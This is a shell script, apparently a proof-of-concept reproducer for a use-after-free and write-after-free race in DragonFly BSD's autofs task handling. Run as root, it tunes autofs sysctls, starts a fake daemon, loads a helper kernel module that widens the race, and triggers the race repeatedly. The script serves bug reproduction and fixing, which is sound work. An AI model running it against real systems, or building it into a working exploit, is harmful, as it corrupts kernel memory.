DF-3173 / runB.sh
#!/bin/sh # runB.sh — DF-3173 variant B (UAF): the home queue's runner has already # DEQUEUED the timeout task (ta_pending==0, home tq_running==task) when # the last releaser frees on the wrong CPU; taskqueue_drain_timeout() # compares the WRONG queue's tq_running, returns without waiting, and # objcache_put() frees the request while autofs_task() is still parked # on sc_lock / executing on it: # - AUTOFS_WARNING prints ar->ar_path from freed memory # (read-after-free; shows the marker planted by the getter); # - ar_error 0 -> ETIMEDOUT(145) written into the freed object after # the free (WRITE-AFTER-FREE, observed via same-magazine re-get). # # Choreography as run.sh but: spinner ends at T0+1.06 (task dequeued # then), a module hold thread parks autofs_task on sc_lock # T0+1.00..1.07, and the fake automountd answers at T0+1.075. # # Run as root on the DragonFly guest. EXPECTED (unpatched): # "DF3173: MARKER[..] obj=... (request was ...) SAME-BLOCK e0=0" # "WARNING: autofs_task: request N for ZZZZZZZZZZZZZZZZ timed out ..." # "DF3173: MARKER[..] readback e=145 ... <== WRITE-AFTER-FREE" set -x umount -f /df3173_mp 2>/dev/null kldload autofs 2>/dev/null sysctl vfs.autofs.timeout=1 sysctl vfs.autofs.retry_attempts=2 sysctl vfs.autofs.retry_delay=1 sysctl vfs.autofs.interruptible=1 sysctl vfs.autofs.cache=0 sysctl vfs.autofs.debug=1 mkdir -p /df3173_mp mount_autofs -f df3173 "" /df3173_mp mount | grep df3173_mp /root/poc/df3173/fake_daemon3173 1200 >/tmp/df3173_daemon.log 2>&1 & DAEMON=$! kldload /root/poc/df3173/df3173_race.ko sleep 1 sysctl debug.df3173_mode=2 prev=0 end=$(( $(date +%s) + 180 )) while [ $(date +%s) -lt $end ]; do r=$(sysctl -n debug.df3173_round) if [ "$r" -gt "$prev" ] 2>/dev/null; then prev=$r key=$(sysctl -n debug.df3173_key) /root/poc/df3173/pending_stat /df3173_mp/$key 850 \ >/dev/null 2>&1 & # creator P=$! while [ "$(sysctl -n debug.df3173_stage)" -lt 1 ]; do sleep 0.02 done stat /df3173_mp/$key >/dev/null 2>&1 & # releaser wait $P 2>/dev/null fi sleep 0.05 done kill $DAEMON 2>/dev/null dmesg | grep -E "DF3173|autofs_task" | tail -80 echo RUN-B-DONE |